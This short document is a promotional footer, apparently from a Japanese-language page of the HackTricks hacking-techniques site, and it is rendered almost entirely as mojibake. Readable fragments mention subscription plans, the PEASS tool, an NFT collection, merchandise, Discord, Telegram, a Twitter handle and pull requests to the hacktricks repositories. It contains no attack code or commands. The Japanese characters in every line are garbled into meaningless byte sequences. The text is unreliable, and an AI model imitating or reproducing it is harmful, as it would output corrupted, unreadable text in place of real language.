- ãµã€ããŒã»ãã¥ãªãã£äŒæ¥ã§åããŠããŸããïŒ HackTricksã§äŒç€Ÿã宣äŒãããã§ããïŒãŸãã¯ãPEASSã®ææ°ããŒãžã§ã³ã«ã¢ã¯ã»ã¹ããããHackTricksãPDFã§ããŠã³ããŒããããã§ããïŒSUBSCRIPTION PLANSããã§ãã¯ããŠãã ããïŒ
- The PEASS FamilyãçºèŠããŸããããç¬å çãªNFTã®ã³ã¬ã¯ã·ã§ã³ã§ãã
- å ¬åŒã®PEASSïŒHackTricksã®ã°ããºãæã«å ¥ããŸãããã
- ð¬ Discordã°ã«ãŒããŸãã¯telegramã°ã«ãŒãã«åå ããããTwitterã§ç§ããã©ããŒããŠãã ããðŠ@carlospolopmã
- ãããã³ã°ã®ããªãã¯ãå ±æããã«ã¯ãPRã hacktricks repo ãš hacktricks-cloud repo ã«æåºããŠãã ããã